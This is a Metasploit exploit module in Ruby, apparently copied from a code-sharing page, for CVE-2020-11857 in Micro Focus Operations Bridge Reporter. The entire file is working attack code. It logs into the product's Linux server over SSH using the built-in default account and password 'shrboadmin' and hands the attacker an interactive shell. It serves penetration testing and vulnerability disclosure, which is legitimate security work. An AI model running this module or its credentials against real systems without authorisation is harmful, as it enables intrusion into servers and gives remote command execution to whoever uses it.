Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8

9
class MetasploitModule < Msf::Exploit::Remote
10
  Rank = ExcellentRanking
11

12
  include Msf::Exploit::Remote::SSH
13

14
  def initialize(info = {})
15
    super(
16
      update_info(
17
        info,
18
        'Name' => 'Micro Focus Operations Bridge Reporter shrboadmin default password',
19
        'Description' => %q{
20
          This module abuses a known default password on Micro Focus Operations Bridge Reporter.
21
          The 'shrboadmin' user, installed by default by the product has the password of 'shrboadmin',
22
          and allows an attacker to login to the server via SSH.
23
          This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier
24
          versions are most likely affected too.
25
          Note that this is only exploitable in Linux installations.
26
        },
27
        'License' => MSF_LICENSE,
28
        'Author' => [
29
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
30
        ],
31
        'References' => [
32
          [ 'CVE', '2020-11857' ],
33
          [ 'ZDI', '20-1215' ],
34
          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md' ],
35
          [ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03710590' ],
36
        ],
37
        'DefaultOptions' => {
38
          'EXITFUNC' => 'thread'
39
        },
40
        'Payload' => {
41
          'Compat' => {
42
            'PayloadType' => 'cmd_interact',
43
            'ConnectionType' => 'find'
44
          }
45
        },
46
        'Platform' => 'unix',
47
        'Arch' => ARCH_CMD,
48
        'Targets' => [
49
          [ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ],
50
        ],
51
        'Privileged' => false,
52
        'DefaultTarget' => 0,
53
        'DisclosureDate' => '2020-09-21',
54
        'Notes' => {
55
          'Stability' => [CRASH_SAFE],
56
          'Reliability' => [REPEATABLE_SESSION],
57
          'SideEffects' => []
58
        }
59
      )
60
    )
61

62
    register_options(
63
      [
64
        Opt::RPORT(22),
65
        OptString.new('USERNAME', [true, 'Username to login with', 'shrboadmin']),
66
        OptString.new('PASSWORD', [true, 'Password to login with', 'shrboadmin']),
67
      ], self.class
68
    )
69

70
    register_advanced_options(
71
      [
72
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
73
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
74
      ]
75
    )
76
  end
77

78
  def rhost
79
    datastore['RHOST']
80
  end
81

82
  def rport
83
    datastore['RPORT']
84
  end
85

86
  def do_login(user, pass)
87
    opts = ssh_client_defaults.merge({
88
      auth_methods: ['password', 'keyboard-interactive'],
89
      port: rport,
90
      password: pass
91
    })
92

93
    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
94

95
    begin
96
      ssh = nil
97
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
98
        ssh = Net::SSH.start(rhost, user, opts)
99
      end
100
    rescue Rex::ConnectionError
101
      return
102
    rescue Net::SSH::Disconnect, ::EOFError
103
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
104
      return
105
    rescue ::Timeout::Error
106
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
107
      return
108
    rescue Net::SSH::AuthenticationFailed
109
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
110
    rescue Net::SSH::Exception => e
111
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
112
      return
113
    end
114

115
    if ssh
116
      conn = Net::SSH::CommandStream.new(ssh)
117
      ssh = nil
118
      return conn
119
    end
120

121
    return nil
122
  end
123

124
  def exploit
125
    user = datastore['USERNAME']
126
    pass = datastore['PASSWORD']
127

128
    print_status("#{rhost}:#{rport} - Attempt to login to the server...")
129
    conn = do_login(user, pass)
130
    if conn
131
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
132
      handler(conn.lsock)
133
    end
134
  end
135
end
136

137